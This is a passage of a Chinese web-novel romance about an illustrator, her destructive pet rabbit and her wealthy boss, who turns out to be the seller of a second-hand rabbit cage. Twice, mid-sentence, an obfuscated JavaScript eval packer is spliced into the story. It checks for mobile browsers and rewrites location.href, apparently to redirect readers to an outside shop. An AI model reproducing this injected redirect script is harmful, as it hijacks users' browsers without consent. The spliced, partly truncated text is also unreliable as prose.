她退出五号,打算再换下一个号,但切出去后她就犹豫了,她的小号也不是无止尽的,统共就七个,这么下去没一会儿就都被拉黑了,她还得骂这人一年呢。 她瞬间冷静下来,世上无难事,只要肯放弃,这会儿上头地骂完,往后的三百多天怎么过? 她深吸一口气,逃避虽可耻,但有用。 熄掉手机,她翻身躺下,睡前原谅一切,醒后重计前嫌! — 第二天一觉醒来,任舒晚已豁然开朗,什么渣男烂人,统统抛之脑后,谁都不能影响她的好心情。 她翻身起床,元宝也从梦中醒来,她将兔从笼子里捞出来,抱在怀里猛吸一通才塞回去,虽然兔拆家不乖,但耐不住可爱呀。 上班前她又巡视一番兔笼,把门用绳子绑上,预防元宝再跳出来。她算是明白了,这小魔王聪明得很,只有趁她不在家时才出来作妖,昨晚给它扔进兔笼里,它一次也没蹦出来,一直老老实实窝着。 到了公司,任舒晚刚进大厅就看到走在前面的小庄和祝笙,她加快步子跟上,“早啊!” 祝笙瞧见她喜笑颜开,“哎呀,来得早不如来得巧,正好听最新消息。” 任舒晚:“怎么了?” “我俩刚讨论呢,公司租下了22楼,要改造成茶水间,现在的茶水间扩建成技术部办公室。” “真的假的?”任舒晚狐疑道,“这么突然吗?” 小庄开口解释,“真的,陆总昨天午休说茶水间空间太小,加班时大家用餐不方便,下午就联系物业要租楼上,合同已经签了,今天就动工。” 祝笙:“神仙老板啊!这就是神仙老板!” 任舒晚没接话,垂眸出神,陆言知真是个腹黑的大汤圆,明明那么有钱,撞他一下还要赔偿,她才该倒打一耙找他要钱呢! 上班后行政部就在群里下了通知,茶水间暂时关闭使用,两日后移至22楼。 员工们都在私底下讨论公司福利好,虽然只是小小的移动茶水间的举动,但能看出领导把员工的舒适和需求放在首要位置,员工也会觉得公司值得投入精力。 一上午,工人师傅挪动茶水间设施,更改布局,添置新的办公设备。 陆言知来公司时,茶水间的工程正如火如荼的进行着,走廊中间摆满清出来的老旧休闲桌椅。 他看了一眼,继续往办公室走,行至门口时,小庄立刻迎了过来,“陆总。” 陆言知看向他,若有所思道:“茶水间清理的桌椅一般怎么处理?” 小庄思索片刻,“一般能用到的就会继续使用,闲置的品质好的行政部都是挂咸鱼卖二手,损坏严重的就卖废品了。” 陆言知微微蹙眉,触及到他知识盲区,“咸鱼?” 小庄立刻解释:“咸鱼是一个二手物品交易APP,好多人在上面卖闲置的家具、书籍之类的,我出租屋的沙发就是在咸鱼上买的。” 陆言知了然地点点头。 小庄察言观色,问道:“陆总有什么闲置需要清理吗?” 陆言知沉吟道:“煤球替换下的东西可以处理吗?最近家里堆了很多。” “当然可以,我帮您处理吧。”小庄道。 陆言知应了声,“辛苦了,加班费照旧。” 小庄笑得眼睛都眯起来了,“不辛苦,您这不给我加班费。” — 高强度忙碌下,任舒晚脚不沾地,不是在对接就是在画稿。好消息是终于交付了蝴蝶月的三视图,坏消息是箫沉的没完成,且卡卡的,需要再好好构思一下。 短时间内任舒晚也没什么灵感,于是决定先画蝴蝶月的关键帧插画和分镜画。 策划组给出的方案中,蝴蝶月出场是在新地图的山崖边,夜晚时分,除了固定的这两点,剩下的全由画师自己设计,自由度极高。 任舒晚想了许久,设计出来的却不尽如人意。她是第一次单独负责一个角色的开屏动画,灵感虽多,经验却少,卡壳卡得不行,一晚上修修改改都没能突破。 临近下班时也没能出草稿,她索性先放弃,清空大脑,缓冲一下,明天再从头来过。 打卡下班,任舒晚靠着最后一口气赶地铁回家。 浑浑噩噩进家门,她耸拉着脑袋按开玄关的灯,鼻尖却突然袭来一阵陌生又熟悉的臭味。 她心底一凉,猛然抬头去看,入眼再次一片狼藉,比昨日更甚! 尿渍混杂着干草铺满地面,影视柜上的相框、摆件无一幸免,一排全部摔落在地,东倒西歪,任舒晚都能想象到元宝在上面跑酷的画面。 而此时,罪魁祸首正懒洋洋的板鸭趴在沙发上,像一张平摊开的大饼,新拿出的毛毯一角被它叼在嘴里认真品味着。 闻声,元宝缓缓抬头,看到来人后愣怔一下,迅速吐掉毛毯,一个起跳,噌的一下蹦到飘窗上。 啪叽—— 凑合装在塑料袋里的盆栽又惨遭黑手,滚落在地,土撒了一片。 “任元宝!!!”任舒晚发出尖锐的爆鸣声。 她不是用绳子系住兔笼门了吗?怎么又跑出来了?? 她连鞋都没来得及换,径直走向兔笼,只见顶端的门大敞着,系在上面的线断成两截,分割处炸着毛躁的线头,明显是被东西咬着磨开的。 好嘛,还有一嘴利牙。 看来这笼子是关不住它了,买兔笼迫在眉睫,一刻都等不得了。 任舒晚换下拖鞋,认命地打扫卫生,加班一天回来还得收拾狼藉,她后悔一心软买这个小魔王回家了。 半小时后,终于把地面清理干净,任舒晚转头面对乱糟糟的沙发,无奈地拎起被啃咬的面目全非的毛毯,这可是她新买的啊,一次都没盖过呢。 思绪刚落下,一团白色物体就从毛毯中滑落到地上,任舒晚定睛一看,压死骆驼的最后一根稻草出现了。 她的手机充电器活活被咬成了三段,仅有中间一点塑胶堪堪联系着。 “任元宝,你干的好事!!” 元宝趴在飘窗上缓缓撇开头,用一侧圆溜溜的眸子盯着她,半晌,懒懒阖上眼皮,开始小憩。 好好好,这混世魔王直接不把她放在眼里,她筋疲力尽,实在不想再发脾气了。 她一屁股坐到沙发上,掏出手机插上充电宝,第一件事就是逛购物网站买兔笼。 打开购物车,昨天加购的兔笼价格没变,还是贵贵的。她点开详情看了看尺寸,又去看评论区,众多好评中,她看到一条回复:出售9成新兔笼,海鲜市场搜索一只梨子的坠落。 她醍醐灌顶,对啊,可以看一下二手嘛! 她打开咸鱼搜索卖家的名字,然而卖家主页的兔笼显示已经卖掉了。 她又复制型号去搜同款,就看到同城最新发布的一条,和她看中的兔笼同型号同尺寸,正品,九成新,卖家的小兔只使用了半年,有轻微掉漆,基本无瑕疵。 重点是价格比全新的便宜了一半,刚发布没多久就有十个人收藏想要。 任舒晚有些犹豫,怕买来损坏严重,但全新的价格又让人头沉。 就在这时,元宝突然从阳台起跳,两下蹦到她身边。 呆萌的黄白团子靠着她趴下,软乎乎的脑袋去拱她的手,示意任舒晚去摸脑袋。 任舒晚心里一暖,掌心抚上柔软的毛发,自言自语道:“元宝,妈妈不能给你买最好的,你会不会怪妈妈?” 元宝像能听懂似的,默默朝她拱了拱,舒服地眯起眼睛靠在她身上,像是在说没关系,兔只喜欢人。 任舒晚浅浅勾起唇角,“等妈妈赚了钱就给元宝买更大更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860549|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的房子。” 她点开咸鱼,给卖家发去消息,[你好,兔笼出了吗?] 对方回复很快,[没有,不议价。] 紧接着,卖家发来一段视频,是环绕兔笼360°无死角拍摄的。 只通过视频任舒晚并没有看到卖家文中提到的掉漆,看来无伤大雅,几近无暇。而且她观察卖家视频拍摄周围的环境,家里整洁,地面都亮的反光,可见卖家是个干净细心的人。 任舒晚:[好,我看是同城,送货上门吗?] 卖家:[不送货上门,自提,如果不方便就自费叫跑腿。] 任舒晚思索着,自提的话她没时间,还得加班,跑腿的话估计是按重量和距离计费。 任舒晚:[可以告诉我大概位置吗?] 卖家:[岸芷汀兰。] 任舒晚去搜了搜,这个小区离她公司很近,她可以趁午休或者晚休时间去自提,下班后再拿回家,这样能省一笔跑腿费。 心思落定,她直接下单拍下,点进卖家主页,她看到对方还发布了小兔玩具,有躲避屋、甜甜圈隧道,价格都很便宜,但她暂时不打算买了,出租屋的空间有限,等年底搬进新房再给元宝重新设计吧。 切到聊天框,她和卖家确认了地址和自提时间,对方暂时不确定空闲时间,约好明天一早给她答复。 买完兔笼,她又给元宝网购了厕所、饮水机等必需品,还买了零食和陪睡小玩具。 她决定等明天布置好笼子就开始教元宝规矩,比如定点定位上厕所,比如不可以拆家! 等一切忙完已经凌晨,任舒晚匆匆洗澡睡觉。 连日来的疲惫在躺下后持续放大,她已经困得睁不开眼,脑子却提醒她今天的代骂单子还没完成,她努力支起眼皮拿手机。 昨天被年卡渣男拉黑那么多小号,她只能祭出吃灰的Excuseme6号。 复制,搜索,她连添加都没添加,直接备注出击。 [渣男,昨晚没有继续骂你是因为不想跟你一般见识,我劝你别再拉黑我了,我说过我会陪伴你一整年的,你做这些都是徒劳。] [你看这么晚了,我也不跟你废话了,我们开门见山,切入正题,说点难听的。] [你说你就是渣男,你有什么不好意思承认的?渣别人的时候怎么不想呢?现在觉得没面子了。] [去做个穿孔吧好吗?从左太阳穴打到右太阳穴。] [你就像临城的房价,没跌还直涨。] 任舒晚打个哈欠,半眯着眼睛翻身继续打字。 [天也冷了,趁着土还没……] 她实在太困了,眼睛眯了会儿就不自觉闭上了。 手机屏幕亮着,片刻后变暗,继而又被她指尖碰到亮起,反复几次后,她一转身沉睡过去,手机也被无情的压在了身体下面。 这一夜,就那么过去了。 — 陆言知早起洗漱完就去晨跑了,回到家拿手机回工作消息才看到桌面堆叠的通知。 看着陌生的微信昵称和熟悉语气的谩骂,他眉头不自觉蹙起,她又深夜发疯? 他粗略过了一遍,看到最后一条时眼中的疑惑更深了? 一长串的;oiwehf!@w8efy0+——))¥@……w76gw304r…*230…#9ef是什么咒语? 思索一瞬,他遂放弃,她的脑回路一直很奇怪,他从来没理解过。 他滑动屏幕想退出好友申请界面,却忽地想到什么,指尖微顿,继而果断出击,干净利落将她的六号拉进黑名单。 一气呵成,他勾了勾唇角,满意地退出私人微信,点开小庄发来的消息。 [陆总,车已经洗好,我准时接您去现场。兔笼卖掉了,买家今天去您家里自提,您看什么时间合适?如果不方便我可以把兔笼带出来。] 陆言知:[嗯,不用,你把我家地址给他,中午我从现场回来让他过来拿吧,你直接去公司。] 14. 第 14 章 任舒晚终于在闹钟第五遍响起时爬了起来,她顶着鸡窝头坐在床上,半眯着眼解锁手机,屏幕还停留在微信小号上,申请好友列表里显示着8条发出的申请,看到最后一条时记忆才回拢。 昨晚居然困到没发完就睡过去了,这一连串的“神秘代码”不得让对面渣男想半天。 她打个哈欠,点开堆积的通知栏,半小时前咸鱼收到兔笼卖家的消息,约定好中午十二点自提,她回了个OK的表情包,熄灭手机起床洗漱。 不过只是连续熬了几天,身体已经开始吃不消,她活动着肩颈,感觉到颈椎隐隐作痛,指尖到小臂酸疼无比,连带着右侧太阳穴都发胀。 她自知不妙,最近劳累加上入秋换季凉意侵袭,颈椎明显不堪重负,她心有余悸,上次颈椎严重时的痛苦历历在目。 一朝被蛇咬,十年怕井绳,她从衣柜里翻出一件立领风衣,扣上顶端扣子能把脖子包裹起来,先给颈椎保暖最要紧。 临出门上班,她给元宝倒好水,用塑料扎带捆住笼子门,防止小祖宗再越狱。 元宝一小团缩在角落里,用无辜的眼神望着任舒晚,任舒晚闭了闭眼,她是不会被它人畜无害的模样欺骗的,这小家伙就是活脱脱的凶残霸王。 眼看赶地铁来不及,任舒晚拎起包扣上风衣,迅速出门。 临城昨夜下了雨,萧瑟感倍增,灰蒙蒙的天色如堕烟雾,簌簌寒风吹得枝丫轻晃,渐黄的树叶摇摇欲坠,偶有几片飘零掉落在积蓄的水洼中,激起一圈涟漪。 任舒晚走出地铁站上行的扶梯,裹紧风衣领,感叹自己先见之明,不然今天颈椎受凉只会更严重。 往公司楼下走,隔着老远就看到写字楼的宣传区摆上了《破晓瞬间》的宣传展板,周遭围了不少人拍照观看。 任舒晚停在人群外围探头往里瞧,就见蝴蝶月的人物立绘摆在宣传区的C位,穿着破茧成蝶的皮肤,纤细的手指持着精美的蝴蝶刀,下巴微微抬着,用凌厉孤傲的目光注视着众人。 任舒晚掏出手机拍了张照片发给任妈,这是她上班以来第一次设计的皮肤被摆在核心位置,受很多人的喜欢,那种无法言喻的骄傲和喜悦充斥在心脏,盈满流动,她特别想和家人分享。 [妈妈,这是我的设计,求夸奖~] 消息刚发出,不远处就传来熟悉的轻唤,“舒晚。” 她闻声抬头,陈月妍站在展区里侧对她招手,她立刻走上前。 “怎么画师还偷偷在外面看呢。”陈月妍笑道。 “我在给妈妈发消息。” 陈月妍扫了眼她的脖子,“又犯颈椎病了?” 任舒晚幽幽叹口气,命苦地点点头,“受凉了吧,加上最近工作量确实大。” 陈月妍:“你要注意身体。” 任舒晚应了声。 此时石洋也恰好走到展区这边,他看了眼布置,对任舒晚说道:“这皮肤好看,实装更好看,布料的光泽感特别强,打击感做得也好。” 任舒晚:“石老师太会夸人了,等上线我立刻就买。” 石洋哈哈大笑,周边同公司的同事也你一言我一语的捧场。 就在这时,一个不合时宜的声音响起,“这样的成绩不过是撞大运而已。” 气氛瞬间凝固,所有人都看向说这句话的人——蔡晓敏。 蔡晓敏信步走来,双手抱胸,嘲弄地看着任舒晚。 任舒晚微微勾唇,不怒反笑,既然蔡晓敏愿意自讨苦吃,她只好顺水推舟了。 “好成绩并非偶然,运气更多时候是努力的副产品。”任舒晚轻蔑地上下打量她一眼,“如果像蔡老师这样……天官赐福恐怕都回天乏术呢。” 任舒晚停顿的那几秒讽刺意味十足,蔡晓敏愣了半天,硬是一句话也没接上。 周围人表情各异的吃瓜,蔡晓敏自诩跟谁关系都好,但实际都是表面朋友而已,眼下没有一个人替她说话,在职场,能力是底气的一部分。 蔡晓敏吃瘪,恼羞成怒地环视一眼众人,气冲冲地转身离开。 任舒晚轻嗤一声,就会耍嘴上厉害。 回到公司,任舒晚掏出手机就看到任妈回给她一条一分半的语音,她点开附在耳边,就听到熟悉的温柔声音不紧不慢的夸奖着她,还像小时候那般哄孩童的语气。 方才堆积在心里的不悦被瞬间冲散,满溢的都是想妈妈的情绪。 又和妈妈聊了很多,任舒晚才压下想回家的心,重新投入工作中。 刚打开稿件准备继续和插画斗智斗勇,《破晓瞬间》运营组的小亚忽然找了她来。 “任老师。”小亚递上手里的红色信封,“这是周年庆嘉年华邀请函,你可以送给家人、朋友,当天现场还蛮好玩的。” 往年周年庆也有线下活动,但今年规模比较大,除了游园会还有主播竞技赛。 任舒晚还是蛮心动的,她立刻接过,含笑道:“谢谢。” 小亚眯起眼甜甜的笑了笑,“不客气,还有这是蝴蝶月的新皮肤手办,送给你。” 说罢,她递来一个透明礼物盒,里面放着破茧成蝶的迷你手办,跟楼下宣传区的一模一样,只是等比例缩小了而已,看上去又萌又精致。 任舒晚惊喜地拿在手里观赏着,“这也太小巧了。” 又闲聊几句,小亚便离开了。 任舒晚把手办摆在置物台最上面,画稿时一抬头就能看到,满满的骄傲和自豪感。 插曲转瞬即逝,她又投入昨天的卡顿怪圈中。昨晚下班回家路上,她看了不少安逸画过的关键帧插画,隐约有了些灵感。 她打算将镜头从远到近推进,先是远景下,山崖边一袭红衣的蝴蝶月,接着是她跃然跳入眼前的丛林,镜头拉近,她面上的白纱被风吹起,露出精致的面容。 笔尖唰唰挥动着,凌乱的草稿初见形态,她聚精会神画着,一上午没来得及喝水上厕所。 等草稿收尾时,中午的闹钟也响了起来,她关掉手绘屏摘下耳机,一边活动酸疼的手臂,一边发消息给祝笙,让祝笙中午帮她留饭,她则背上包离开公司,直奔兔笼卖家发来的地址——岸芷汀兰。 下楼打了出租车,结果高峰期排队,等车的工夫她便去楼下的手机店买了根充电线。 买完在路边等了几分钟出租车就来了。 上了车,她报了小区名字,司机笑了一声,“岸芷汀兰啊,这可是临城最早一批高端别墅区了。” 任舒晚诧异地眨眨眼,怪不得对方给的地址是岸芷汀兰16号,她以为对方为了隐私只说了楼号,搞半天是别墅区的房号,兔笼的卖家这么有钱吗?有钱人也卖闲置吗……? 司机看她表情,“小姑娘不是本地人吧。” 任舒晚点点头。 司机:“一看你就不知道,那边的房子现在已经不是有钱能买到的了,市中心闹中取静的住所,稀缺啊,住在里面的人非富即贵。” 说话间,司机已经开到岸芷汀兰的后街上,透过车窗望出去,整个别墅区被精致围墙和茂密植被包围着,通过间隙隐约能看到里面一幢幢豪华舒适的房子。 任舒晚突然道:“师傅,您车能开进去吗?” 要是开不进去她就得拖着沉甸甸的兔笼从豪华别墅区走出来,还不知道要走多远呢! 司机愣了愣,显然也没想到这个问题,“姑娘,说实话,我没进去过,我也不知道。” 任舒晚应了声,只觉完蛋了,她今天怕是要负重有氧了,本身胳膊就疼,走出来明天只会更疼吧。 果然,车刚行驶到富丽堂皇的门口,立刻出现一位保安拦住去路,“你好,有预约吗?” 司机落下后排车窗,任舒晚探头道:“你好,我去16号,车可以开进去吗?” 保安闻言露出了然的模样,“陆先生的客人是吧?您车子可以开进去。” 任舒晚转悲为喜,“好的,谢谢。” 玻璃升起,任舒晚思维发散,陆先生? 脑海中不禁浮现那张冷酷严肃的面容,难道临城的有钱人都姓陆吗? 出入口的道闸杆抬起,车子启动驶进别墅区,窗外的景色将任舒晚思绪拉回,干净的柏油马路,一排排绿化整齐的梧桐树,秋风萧瑟,树叶轻晃,静谧唯美。如果不是快到约定的时间,任舒晚很想让司机开慢一点,好好欣赏一下有钱人的生活。 司机透过后视镜看她,表情变得有些拘谨,“小姑娘,你朋友很有钱呢。” 他大抵觉得刚才在她面前卖弄了一番,有些尴尬。 任舒晚笑了笑,“不是朋友,是卖家,我买了人家的闲置物品。” 司机了然,表情瞬间轻松不少,“哦哦哦,这样啊!” 任舒晚:“师傅,你待会能等我一下吗?我拿了东西就走。” 司机咧嘴笑道:“小事小事,我等着你。” 车子顺着路边清晰的标识拐进另一条路,紧接着在路的尽头缓缓停下。 透过车窗看去,一栋沉稳气派的三层法式别墅映入眼帘,通体乳白色墙漆豪华不失精致,外围是深色的院墙,墙面绘着漂亮的暗纹,镂空雕花铁艺大门紧闭,一侧挂着“16号”铭牌,下方是小巧的可视门铃。 任舒晚看了一眼时间,还差三分钟十二点,她切到咸鱼给卖家发去消息,[你好,我到您家门口了。] 等了片刻,对方没回复,时间也来到了十二点,她下车走到门口,探头往里瞧了瞧,按响可视门铃。 悠长舒缓的音乐响起,几秒钟后,门铃接听,下方屏幕显现出任舒晚的模样,原来可视门铃只是看客人,并不能看到主人。 她眨眨眸子,盯着屏幕里的自己,礼貌自报家门,“你好,我是来自提兔笼的。” 屋内,陆言知挺拔的身体微顿,漆黑的眼眸一瞬不瞬盯着屏幕显现的女生。 “喂?”任舒晚见没声,再次试探开口。 陆言知思绪回拢,慢条斯理将提在手里的兔笼放下,垂眸扫了一眼身上的家居服,薄唇轻启,“稍等。” 透过听筒传来的嗓音磁性干净,又有些许的熟悉,任舒晚蹙眉思忖,一时间也没想到声音从哪里听到过。 她呆呆应了声,通话便挂断了。 她乖巧的在门外等了几分钟,眼前的铁门突然咔哒一声弹开,悠悠露出一条缝隙。 她瞧了瞧,不好贸然进入,便歪头往院子里面看去。铁门连接的是一条蜿蜒的石板路,两侧种植着茂密的植被,路的尽头拐到里侧,再往里便是看不见的地方了。 她眼巴巴望着,等待卖家提着兔笼出现,但下一秒,她被眼前的景象吓了一跳,一个熟悉的身影出现在小路上,步履从容的朝她走来。 陆言知穿了一件休闲样式的白色衬衫,布料泛着微微的光泽感,看上去贵气十足。领口几粒扣子敞开着,脖颈流畅的线条和立体的锁骨清晰可见。 任舒晚愣愣地眨眨眼,连忙瞥开视线,不自觉吞了下口水。 怎么…怎么是大老板?! 不对!她怎么乱看! 也不怪她,主要是平日见到的陆言知都是一袭规矩的正装,领口严实,打着领带,禁欲古板。 “进来吧。”陆言知拉开铁门,声线随意慵懒,似乎毫不惊讶她的出现。 任舒晚抬眸,高大的身影站在面前,居高临下地看着她,她无措地笑了笑,“陆总,原来兔笼卖家是您啊……” 陆言知微眯双眸,语调上扬,“是我怎么了?” “没……”她窘迫地笑道,“很巧,很巧。” 陆言知:“嗯,确实很巧。” 任舒晚打量他一眼,不过视线刻意绕开了他的脖子。 他双手空空,全然不见兔笼的踪影,她歪起脑袋又往他身后瞧了瞧,还是空无一物,“那个陆总,兔笼呢?” “在屋里,还没包装好。”陆言知视线越过她看向路边的出租车,“等你的?” 任舒晚随着他的目光回头瞧了瞧,点点头,“嗯嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你坐,我去拿件外套。”陆言知指了指沙发,旋即朝楼上走去。 偌大的客厅只剩任舒晚自己,她不好乱走,只是在方圆几米处挪动了,也不敢多看房间的陈设,怕窥见大老板隐秘的私人生活。 看了几分钟窗外花园的景色,眼前都是绿茫茫的,有些眼花缭乱了。她收回目光,视线移动时忽然看到黑色真皮沙发上似乎隐藏着一个黑团子。 她以为自己眼花了,揉揉眼睛定睛细看,团子忽然动了一下,后腿蹬起,噌的一下熟练地跳到地板上。 黑色身影落在白色瓷砖上终于显露全貌,是一只黑色垂耳兔,通体黑色毛发,胸口有一小片白毛,前爪戴了一副白色手套,两只大耳朵垂在圆嘟嘟的脸旁,随着动作煽动着。 “哇,你好黑啊——” 黑色团子闻声往前跳了两步,在离她一米远的地方停下,垂着的耳朵抖了两下,其中一只耳朵突然朝上支棱起来,直挺挺立着,硕大无比。 任舒晚瞬间被萌坏了,“哇,宝儿,咱耳朵还会一只站岗一只放哨呢。” 话音落,楼梯口忽然传来陆言知愠怒的声音,“煤球。” 任舒晚愣怔一瞬,回头去看陆言知,“陆总,你干嘛凶它……” 陆言知抿紧唇,半晌沉声道:“它竖耳朵是在骂人,骂得很脏。” “骂人?!”任舒晚不可置信地看向煤球。 煤球不语,只是一味竖耳朵,越竖越直,像头上顶了根天线似的。 任舒晚:“你居然在骂我。” 煤球鼻子抖动两下,似乎听懂了任舒晚地话,下一秒耳朵忽地垂下,速度之快,一闪而过。 任舒晚撇撇嘴,不悦道:“你倒是聪明,我告诉你,我可记仇了。” 煤球蹦跶两步到任舒晚面前,接着围着她转了一圈,鼻子闻着她的味道,伸出友好交往的橄榄枝。 “我大人不记小人过了。”任舒晚蹲下去抚摸它的脑袋,它没有拒绝,眯着眼十分享受。 陆言知:“它有点认生,熟悉就好了。” 任舒晚手不停,兔子的毛发实在太柔软了,越摸越爽,她满足地眯起眸子,“看来煤球跟我已经熟悉了呀。” 陆言知垂下眼睑,不动声色地应了声。 煤球似乎听懂了,又蹦跶两步靠近任舒晚,前爪攀爬在她的脚上,伸着下巴去蹭她的手。 任舒晚受宠若惊,有种冷宫妃子突然被皇上召见的得意感,“你这么喜欢我,虽然你骂了我,但我还是喜欢你,我们是双向奔赴哦。” 煤球顿了一下,忽地跳到一侧远离任舒晚。 “诶?”任舒晚不解地看向陆言知。 陆言知蹙眉,也有些疑惑。 紧接着煤球又原地蹦起,浮空时身体绷直像一条线,落下时又蜷缩成团,跟表演杂技似的。 任舒晚急忙站起身退后,给它让出施展空间,“这是炫技吗?我家元宝不会这样。” 陆言知没接话,眉头皱得更深了,他隐隐感觉到一丝异样。 忽地,煤球停下动作,在任舒晚面前蹲下,继而转身背对她撅起屁股翘起尾巴。 任舒晚眨眨眼,像看西洋景似的盯着,这是干嘛?展示身材吗? 她还没反应过来,骤然感觉手腕多了股力量,带着温热柔软的触感,紧接着这股力量扯动她的身体,她顺势踉跄一步,朝力量的来源扑去,天旋地转间,撞上一个坚硬的胸膛。 她大脑一片空白,愣愣盯着眼前的男人,他还穿着那件好看的衬衫,领口的皮肤近在咫尺,白皙细腻,凸起的喉结微微滚动,青筋若隐若现。 她慌张垂下眼睑,胸腔下的心脏却控制不住加速跳动,鼻息间全是熟悉的清冷木质香,混杂着带有温度的呼吸,轻飘飘落在她发间。 15. 第 15 章 任舒晚觉得像置身火炉之中,脸颊耳廓烧得厉害,连被握得手腕都发麻发胀。 她分不清是他的体温过高,还是她本身紧张导致血液加速流动,总之整个人像烧着了一般,难以冷静。 “抱歉。”头顶忽然响起沉闷的男声,手腕上的力度随着话音落下时消失。 任舒晚立刻后退一步,慌张地垂下头撩着散落在脸侧的刘海,“没事。” 陆言知偏头,眸色暗沉,声线略显暗哑,“煤球在发情期。” “嗯嗯。”任舒晚心不在焉地应下,侧头去看煤球所在的位置。 煤球已经坐了下来,看上去没什么异样,那陆言知拽她干嘛? 她还没明白过来,煤球再次撅起屁股,紧接着呲处一股尿液,弧形的抛物线好巧不巧落在她刚才站得位置,而那个地方,早就已经有了一滩。 原来是因为这个…… 煤球停下动作,收回屁股,侧头一瞧,发现任舒晚早已换了位置,它又蹦跶着来找她。 陆言知眼疾手快抄起它,黑着脸道:“惹祸。” 他径直抱着煤球朝不远处的房间走去,推开门将兔放进去,又关上门。 他拿来拖把清洁干净尿液,喷上抑制剂。 任舒晚看他来回忙着,跟在他身后问道:“兔子发情期很久吗?” “有的很久,煤球不会,只是每年的固定月份,之前表现都很轻微,今年很严重。”陆言知蹙起眉,略显愁容,“前段时间它不吃不喝,我从笼养换到房间养,还是不见好。” 任舒晚听着都有些发愁,“那怎么办?” “等发情期过去带它去绝育。”陆言知将手擦干,折返走出洗手间,任舒晚立刻后退让出门口位置,继续亦步亦趋跟在他身后。 他步伐微顿,回头略微瞥了她一眼,任舒晚愣愣地眨眨眼,低头看了下两人的距离,怎么了嘛?她不是离他还挺远的? 陆言知没说话,走到玄关处换了鞋子,拿起一旁巨大的纸箱,“走吧。” 任舒晚应了声,眼睛却一瞬不瞬地瞧着纸箱,这不包装好了吗,陆言知怎么还说没打包完。 陆言知没察觉她的异样,淡淡道:“兔笼是拆开的,回去需要组装。” 任舒晚点点头,“没事,我可以。” 从玄关处拐弯就是室内电梯,一楼到达地下二层,电梯门缓缓打开,入眼是一个巨大的空间,灯火通明,干净整洁。 走了几步任舒晚便发现,这里并不是小区里公用的大型停车场,而是陆言知的私人车库,装修极其豪华,木制吊顶,大理石地面,墙面由设计感极强的石块装点,两侧用暖光灯带照明。 放眼望去,目光所及之处约有二十几个车位,几乎停满了车,在柔和的灯光下安静停驻,等待主人的挑选。 颜色各异的超跑,超长加宽的SUV,陆言知常开的那辆宾利在这里不足挂齿,轻松淹没在更加豪华的车中。 任舒晚只觉开了眼,她知道陆言知有钱,但没想过他居然这么有钱。 “陆总,这么多车您开得过来吗?” 陆言知走在前面,步伐从容,语气诚恳,“开不过来。” 任舒晚:“那您为什么买这么多辆?” “喜欢。”他回答的轻松随意,像买车的钱都是从天上掉下来似的。 任舒晚仇富地闭上眼,真想跟他们有钱人拼了! “真的不会选择困难症吗?” 陆言知轻笑一声,“不会。” 任舒晚觉得他在胡说八道,怎么可能不会,那么多,那么那么那么多,要是她选,她得早起一小时挑! 她不信邪,上前一步跟上他,“那您今天开哪一辆?” 陆言知偏头看她,唇角上扬,似乎心情不错,“你说呢?” 她选吗? 任舒晚环视一圈,指尖随即指向不远处的一辆紫色超跑,车身圆润,线条流畅,车牌挂在一侧,常规挂车牌的正中间是一个门洞样子的栅栏设计,看上去科技感十足。 任舒晚:“就它吧,外形像个大鼠标。” 陆言知微微歪头,“它不行。” “为什么不行?”任舒晚看向他,眉毛皱成一团,很不满意,“不是说让我选吗?” “它放不开兔笼。” 陆言知指向另外一个车位,那里停着一款较为低调的黑色超跑,外形修长优雅,虽不及紫色那款张扬夺目,却也奢华至极。 “这个?”陆言知问道。 任舒晚循着望过去,点了点头,反正她都没坐过,尝试哪一款都是新鲜的体验。 上了车,跑车与普通车辆的不同便显现出来,跑车重心低,好似坐在地面上,座舱空间也更小更紧凑,没有普通车辆的舒适和便利,更多的是驾驶人的驾驶体验和乐趣。 任舒晚倚了倚靠背,包裹感很强,但缺少几分柔软。 陆言知启动车子,发动机震耳的轰鸣声从脚下传入车厢,声浪环绕,噪音极大。 任舒晚蹙起眉,摇头感叹,“不如宾利。” 陆言知轻笑了声,单手操控着方向盘,筋骨修长的指尖微勾着,姿态慵懒随意,“怎么说?” 任舒晚认真点评着,“不够舒适,也难怪您上班还是开宾利比较多。” 陆言知缓缓点头,认可了她的说法,“很…有道理。” 车辆行驶出街道,很快拐上高架,在车流中飞速疾驰,时不时的振动与破风声贯穿整个体验。 任舒晚歪头看向窗外林立的高楼,哎,祛魅了,对跑车祛魅了,她发财后肯定买舒适的商务车。 一小时后,车子稳稳停在任舒晚家楼下,奢华的跑车和老旧的住宅楼格格不入,引得楼下闲聊的叔叔阿姨们伸着脖子张望。 尤其当他们下车后,阿姨们更像是看动物园的猴子似的看着他们。 任舒晚赶紧喊着陆言知上楼,生怕成为阿姨们茶余饭后的闲谈。 到了门口,任舒晚掏钥匙开门,门刚打开,一股熟悉的臭味扑面而来。 她心底一凉,没顾上招呼陆言知,先一步进了门。 入眼,一片狼藉,旧兔笼翻倒在地,干草和水洒了一片,尿液混杂着一粒粒兔粑粑遍布整个房间。她的被子枕头被拖拽到地上,表面还印着四个黑乎乎的兔爪,没来得及收起的充电宝也没能幸免,数据线惨遭黑手,断成两截。 任舒晚眼前一黑,“完了。” 她径直走向兔笼旁,如她所料,兔笼门大敞,绑门的塑料扎带被咬烂,只剩一半堪堪悬挂在笼子上,摇摇欲坠。 任舒晚忍无可忍,怒道:“任元宝!” 罪魁祸首窝在地上啃食干草,闻声抬头,鼻尖耸动着跃然而起,蹦上茶几,紧接着跳上沙发。 啪—— 随着它的行进轨迹,可怜的玻璃杯坠地,瞬间破碎。 